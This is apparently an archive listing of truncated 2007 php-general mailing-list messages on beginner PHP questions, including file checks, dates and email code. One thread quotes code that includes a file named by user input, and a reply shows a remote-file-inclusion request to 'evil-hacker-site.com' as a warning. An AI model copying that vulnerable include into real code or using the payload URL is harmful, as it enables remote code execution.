Ronald Wiplinger wrote:
Stut wrote:
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example
I really hope this is not a piece of production code. If it is then
you might want to th
Instruct ICC wrote:
>
>
> Called like this?
>
> index.php?page=http://evil-hacker-site.com/evil-payload.php
>
> And the browser will probably url_encode for me if needed.
> _
> Climb to the top of the charts! Play Star Shuffle: the w
> -Original Message-
> From: Per Jessen [mailto:[EMAIL PROTECTED]
> Sent: Wednesday, November 14, 2007 1:08 AM
>
> Daevid Vincent wrote:
>
> > I am importing millions of records, and didn't want to
> waste CPU time on computing modulus on some huge $i value. :)
>
> So instead you spen
Stut wrote:
> Philip Thompson wrote:
>> I've run into similar problems where I *thought* I was looking in the
>> correct location... but I wasn't. Take this for example
>>
>> > $page = $_GET['page'];
>> if (file_exists ("$page.php")) {
>> include ("$page.php");
>> }
>> ?>
>
> I really hope
> Date: Thu, 15 Nov 2007 00:20:52 +
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> CC: php-general@lists.php.net
> Subject: Re: [PHP] file_exists
>
> Philip Thompson wrote:
>> I've run into similar problems where I *thought* I was looking in the
>> correct location... but I wasn't. Take
> Date: Wed, 14 Nov 2007 13:20:16 -0800
> From: [EMAIL PROTECTED]
> To: php-general@lists.php.net
> Subject: [PHP] Is there a 'Beginner's' PHP List
>
> Come to think of it - if there is a more basic 'newbie' forum list (for PHP
> beginners like myself) that anyone knows of (I found a few listed
On Wed, 2007-11-14 at 22:23 -0500, tedd wrote:
> At 1:54 PM -0600 11/14/07, Philip Thompson wrote:
> >I know I can't be the only one that puts/creates a face for each person on
> >this list... =P
>
> No, but I'm the best looking one. I'll leave smart for someone else.
Are you trying to be smart
At 7:00 PM -0800 11/14/07, Instruct ICC wrote:
But dude, there are many ways to skin a cat.
Yeah, but he's not going to like any of them. :-)
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com http://earthstones.com
--
PHP General Mailing List (http://www.php.net/)
To uns
At 1:54 PM -0600 11/14/07, Philip Thompson wrote:
I know I can't be the only one that puts/creates a face for each person on
this list... =P
No, but I'm the best looking one. I'll leave smart for someone else.
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com http://ear
> Date: Wed, 14 Nov 2007 09:39:19 -0800
> From: [EMAIL PROTECTED]
> To: php-general@lists.php.net
> Subject: [PHP] Newbie question - current date - time
>
> Hi Folks,
>
> Newbie question :
>
> - how do I get and display the current date?
> - how do I get and display the current time?
>
> I see t
<>
Stut,
You pointed me in the right direction, thank you.
"Stut" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
Frank Lopes wrote:
No takers on this topic?
The question is not one of performance since while it will be quicker to
call a function than include a file the diffe
Come to think of it - if there is a more basic 'newbie' forum list (for PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for these 'basic' questions...
Until I get up to speed...
I found these 2 - any others (better)?
http
Try sprintf().
On Nov 14, 2007, at 4:32 PM, Jeffery Fernandez <[EMAIL PROTECTED]>
wrote:
Hi all,
I am having trouble generating a sequence of numbers from the
following start
value:
AX0001
what I have done so far is loop through each character and check if
its a
alphabet and separa
Hi all,
I am having trouble generating a sequence of numbers from the following start
value:
AX0001
what I have done so far is loop through each character and check if its a
alphabet and separating the characters and digits.
But when I increment the digits, its strips of the leading zeros. How
On Thu, 15 Nov 2007 11:48:07 am Stephen Edberg wrote:
> On Thu, 15 Nov 2007, Jeffery Fernandez wrote:
> > Hi all,
> >
> > I am having trouble generating a sequence of numbers from the following
> > start value:
> > AX0001
> >
> > what I have done so far is loop through each character and check if i
On Thu, 15 Nov 2007, Jeffery Fernandez wrote:
> Hi all,
>
> I am having trouble generating a sequence of numbers from the following start
> value:
> AX0001
>
> what I have done so far is loop through each character and check if its a
> alphabet and separating the characters and digits.
>
> But whe
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example
I really hope this is not a piece of production code. If it is then you
might want to think very hard about what it's doing. If you still c
Philip Thompson wrote:
On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]>
wrote:
Come to think of it - if there is a more basic 'newbie' forum list (for
PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for th
> >>> if (file_exists('/srv/www/../images/pic412.jpg') {
Two left parens, one right, surprised you don't get a syntax error?
Warren Vail
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
On Nov 14, 2007 5:04 PM, Chris <[EMAIL PROTECTED]> wrote:
> Ronald Wiplinger wrote:
> > Chris wrote:
> >> Ronald Wiplinger wrote:
> >>> I am having troubles with the function file_exists()
> >>>
> >>> I tried the full path like:
> >>>
> >>> if (file_exists('/srv/www/../images/pic412.jpg') {
>
Ronald Wiplinger wrote:
Chris wrote:
Ronald Wiplinger wrote:
I am having troubles with the function file_exists()
I tried the full path like:
if (file_exists('/srv/www/../images/pic412.jpg') {
echo "";
} else {
echo " " //picture is missing!
}
No matter if
On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]>
wrote:
> Come to think of it - if there is a more basic 'newbie' forum list (for
> PHP
> beginners like myself) that anyone knows of (I found a few listed below) -
> please let me know and I'll use that instead for these 'basic'
> ques
On Nov 14, 2007 4:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote:
> Come to think of it - if there is a more basic 'newbie' forum list (for PHP
> beginners like myself) that anyone knows of (I found a few listed below) -
> please let me know and I'll use that instead for these 'basic' questions
better use Date() in js ...
tedd-2 wrote:
>
> Current date/time for whom?
>
> For your server, use php's date().
>
> For the user, use javascript's date().
>
> It's so cool to be multilingual. :-)
>
> Cheers,
>
> tedd
>
> --
> ---
> http://sperling.com http://ancientstones.com http
On Nov 14, 2007 3:54 PM, Jason Pruim <[EMAIL PROTECTED]> wrote:
[snip]
> Now... Just exactly what makes you think it was a typo oh Master
> Brown?
[snip]
Yeah, keep it up, smartass. I'm on to you ;-P
--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107
If at fi
On Nov 14, 2007, at 3:39 PM, Daniel Brown wrote:
On Nov 14, 2007 3:19 PM, Jon Westcot <[EMAIL PROTECTED]> wrote:
Hi:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this
On Nov 14, 2007 3:19 PM, Jon Westcot <[EMAIL PROTECTED]> wrote:
> Hi:
>
> > > Hi Folks,
> > >
> > > Newbie question :
> > >
> > > - how do I get and display the current date?
> > > - how do I get and display the current time?
> > >
> > > I see the getdate function - but I'm not sure if this is the
Hi:
> > Hi Folks,
> >
> > Newbie question :
> >
> > - how do I get and display the current date?
> > - how do I get and display the current time?
> >
> > I see the getdate function - but I'm not sure if this is the right
> > function
> > or how to display it
> >
> > http://www.php.net/manual/e
What is the actual planned implemtation? Email or SMS/MMS?
if the latter, you are looking for MMS specs (send XML SMS to phone with media)
Try http://hellkvist.org/software/ for code samples
HTH
Bastien
> Date: Wed, 14 Nov 2007 13:45:05 -0600> From: [EMAIL PROTECTED]> To:
> php-gen
On Nov 14, 2007 12:27 PM, <[EMAIL PROTECTED]> wrote:
> Hey list,
>
> I'm doing some R&D for a project at my job and my boss wants the ability
> to send pictures to cell phones. I was wondering if anyone had any
> experience with this or could point me in the right direction to get
> started.
>
> T
On Nov 14, 2007 2:54 PM, Philip Thompson <[EMAIL PROTECTED]> wrote:
> I know I can't be the only one that puts/creates a face for each person on
> this list... =P
You don't have to with me, Philip. Since you use Gmail, simply
mouseover my name and you'll see my ugly mug staring right back a
On Nov 14, 2007 1:04 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> On Nov 14, 2007 2:00 PM, Robert Cummings <[EMAIL PROTECTED]> wrote:
> > On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote:
> > > On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]>
> > > wrote:
> > > > > Hey, no w
On Nov 14, 2007 2:00 PM, Robert Cummings <[EMAIL PROTECTED]> wrote:
> On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote:
> > On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]>
> > wrote:
> > > > Hey, no worries. You'll be able to officially thank the community
> > > > when we go
Chris wrote:
> Ronald Wiplinger wrote:
>> I am having troubles with the function file_exists()
>>
>> I tried the full path like:
>>
>> if (file_exists('/srv/www/../images/pic412.jpg') {
>> echo "";
>> } else {
>> echo " " //picture is missing!
>> }
>>
>> No matter
On Wed, 2007-11-14 at 13:55 -0500, Nathan Nobbe wrote:
> On Nov 14, 2007 1:39 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
>
> > If you don't know how it works, you can
> > bitch about the syntax manuals being "too vague".
>
>
> im going to take the opportunity here and bitch about the documentat
On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote:
> On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]>
> wrote:
> > > Hey, no worries. You'll be able to officially thank the community
> > > when we go to the new mandatory donation system on the list on 1
> > > January, 2008. W
On Nov 14, 2007 1:39 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> If you don't know how it works, you can
> bitch about the syntax manuals being "too vague".
im going to take the opportunity here and bitch about the documentation for
the DateTime object built into php5; it sucks :-O
-nathan
On Nov 14, 2007 1:27 PM, <[EMAIL PROTECTED]> wrote:
> Hey list,
>
> I'm doing some R&D for a project at my job and my boss wants the ability
> to send pictures to cell phones. I was wondering if anyone had any
> experience with this or could point me in the right direction to get
> started.
>
> Th
On Nov 14, 2007 1:03 PM, tedd <[EMAIL PROTECTED]> wrote:
> There's a manual?
>
> I though you guys were making this stuff up as you went along. :-)
>
> Cheers,
>
> tedd
> --
> ---
> http://sperling.com http://ancientstones.com http://earthstones.com
>
In actuality, Tedd, that's a very a
On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]> wrote:
>
> On Wed, 2007-11-14 at 12:26 -0500, Daniel Brown wrote:
> > > On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
> > > > I recently subscribed to php-general(2 months I think) and during this
> > > > time I saw some nice st
Hey list,
I'm doing some R&D for a project at my job and my boss wants the ability
to send pictures to cell phones. I was wondering if anyone had any
experience with this or could point me in the right direction to get
started.
Thanks,
Jeremy
--
PHP General Mailing List (http://www.php.net/)
To
Thanks Folks,
The date function worked great!
--
Thanks - RevDave
Cool7 @ hosting4days . com
[db-lists]
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
At 9:39 AM -0800 11/14/07, [EMAIL PROTECTED] wrote:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right function
or how to display it
http://www.php.net/man
There's a manual?
I though you guys were making this stuff up as you went along. :-)
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com http://earthstones.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
On Wed, 2007-11-14 at 12:26 -0500, Daniel Brown wrote:
> > On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
> > > I recently subscribed to php-general(2 months I think) and during this
> > > time I saw some nice stuff, but most of the times (90% ?) It's always
> > > the same thing.
> > > PHP
Check out "date" function.
Prints out nice local time, what you need can be made by changing the "r"
option. Have a look at the manual for alternatives to "r" liek Y for year,
etc...
so far
- Ursprüngliche Nachricht -
Von: "[EMAIL PROTECTED]" <[EMAIL PROTECTED]>
Datum: Donnerstag, No
On Nov 14, 2007 12:39 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote:
> Hi Folks,
>
> Newbie question :
>
> - how do I get and display the current date?
> - how do I get and display the current time?
>
> I see the getdate function - but I'm not sure if this is the right function
> or how to displa
Hello,
Use the date function http://us3.php.net/date.
Regards,
William Betts
[EMAIL PROTECTED] wrote:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right f
Hi!
Look at this:
http://es.php.net/manual/es/function.date.php
[EMAIL PROTECTED] escribió:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right function
or
On Nov 14, 2007, at 12:39 PM, [EMAIL PROTECTED] wrote:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right
function
or how to display it
http://www.php
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right function
or how to display it
http://www.php.net/manual/en/function.getdate.php
--
Thanks - RevDave
Coo
> On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
> > I recently subscribed to php-general(2 months I think) and during this
> > time I saw some nice stuff, but most of the times (90% ?) It's always
> > the same thing.
> > PHP "Developers" that really have some kind of problem about reading
[snip]
So I guess the point of this e-mail, is to say thanks to everyone who
has helped me. :)
[/snip]
+1 and a cast of thousands.
Even if the answer is terse like;
http://www.php.net/manual/en/indexes.php
it typically gives the inquirer a place to start. The way that the manual is
organized
On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
I recently subscribed to php-general(2 months I think) and during this
time I saw some nice stuff, but most of the times (90% ?) It's always
the same thing.
PHP "Developers" that really have some kind of problem about reading
the Documentat
I recently subscribed to php-general(2 months I think) and during this
time I saw some nice stuff, but most of the times (90% ?) It's always
the same thing.
PHP "Developers" that really have some kind of problem about reading
the Documentation.
This is not a rant, really! I'm an experienced develop
I implemented the proposed code, and emails are not being sent?
Any suggestions?
Here is the code
".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress."
Brad,
That code is a mess and highly incorrect, even at a novice level.
Let me give you a hand
On Nov 14, 2007 10:31 AM, Brad <[EMAIL PROTECTED]> wrote:
> I implemented the proposed code, and emails are not being sent?
>
> Any suggestions?
>
> Here is the code
>
>
> $email = $_REQU
On Nov 14, 2007 7:44 AM, Paul Scott <[EMAIL PROTECTED]> wrote:
>
> On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote:
> > Backtrace?
> >
> backtrace
> #0 0xb691f310 in ?? ()
> #1 0xb7874705 in CRYPTO_lock ()
> from /usr/lib/i686/cmov/libcrypto.so.0.9.8
> #2 0xb78e057d in ?? () from /usr/lib/i
You need to run wget from a cron job.
-Original Message-
From: Viacheslav Chumushuk [mailto:[EMAIL PROTECTED]
Sent: Wednesday, November 14, 2007 9:10 AM
To: php-general@lists.php.net
Subject: [PHP] Run process in background
Hello.
I want to run process from my php script in background
On Nov 14, 2007 10:10 AM, Viacheslav Chumushuk <[EMAIL PROTECTED]> wrote:
> Hello.
>
> I want to run process from my php script in background.
> I try different functions from functions list but all of them whaiting for
> process ending.
>
> How can I run `wget -b ...` and finish my script, but wge
Hello.
I want to run process from my php script in background.
I try different functions from functions list but all of them whaiting for
process ending.
How can I run `wget -b ...` and finish my script, but wget must still working?
I use PHP5, Linux, Apache2.
Thank You.
--
PHP General Maili
On Wed, 2007-11-14 at 14:17 +0100, Per Jessen wrote:
> OK, so quite a few things could have changed - in PHP or in apache.
> However, you said you reproduced the problem using CLI, so we're
> talking PHP or something underlying.
It looks as though libcrypto has gotten itself into a knot. I did
Paul Scott wrote:
> Not completely, just following regular Ubuntu updates. I have disabled
> all sites (a2dissite) and stopped appArmour as well, with no change to
> the issue.
OK, so quite a few things could have changed - in PHP or in apache.
However, you said you reproduced the problem using
On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote:
> Backtrace?
>
backtrace
#0 0xb691f310 in ?? ()
#1 0xb7874705 in CRYPTO_lock ()
from /usr/lib/i686/cmov/libcrypto.so.0.9.8
#2 0xb78e057d in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8
#3 0x0009 in ?? ()
#4 0x0001 in ?? ()
#5
Paul Scott wrote:
> Program received signal SIGSEGV, Segmentation fault.
> [Switching to Thread -1215904080 (LWP 15747)]
> 0xb6978310 in ?? ()
Backtrace?
> I am not aware of any updates or anything that *may* possibly have
> broken things, but am open to suggestions
So, absolutely nothing h
All of a sudden, I am getting a bunch of segfaults in PHP.
The Apache2 error log simply says:
[Wed Nov 14 11:43:36 2007] [notice] child pid 10982 exit signal
Segmentation fault (11)
and if I run the script through PHP-CLI it outputs the expected HTML,
but with a Segmentation Fault notice at the
At 11/14/2007 01:02 AM, George Pitcher wrote:
Paul,
> What I'm really looking for is a PHP class that will read FileMaker
> files in their native format. I'm beginning to suspect that none
> exists in the public arena. Someone please tell me there is!
...
I'm just exporting my tables (files
Daevid Vincent wrote:
> I am importing millions of records, and didn't want to waste CPU time
> on computing modulus on some huge $i value. :)
So instead you spend it on displaying a progress indicator :-)
besides, modulus 8 is done by one single instruction - of which a modern
processor does s
Paul,
> What I'm really looking for is a PHP class that will read FileMaker
> files in their native format. I'm beginning to suspect that none
> exists in the public arena. Someone please tell me there is!
I've been a Filemaker user (and had some Lasso and Frontier driven sites
once). I still u
Thanks Daniel.
However, as soon as I started reading the fx-php documentation I ran into this:
"FX.php is a PHP class which parses the XML output by FileMaker Pro's
web companion..."
The FM Web Companion is another whole ball of wax and appears to be a
live agent running on the server hostin
Check out this cool little snippet for use in CLI scripts. It shows processing
with a spinner. It took me a little while to figure out the magic combination
of the cursor array and ternary operator. My main goal was to make it as self
contained and efficient as possible. I am importing millions
71 matches
Mail list logo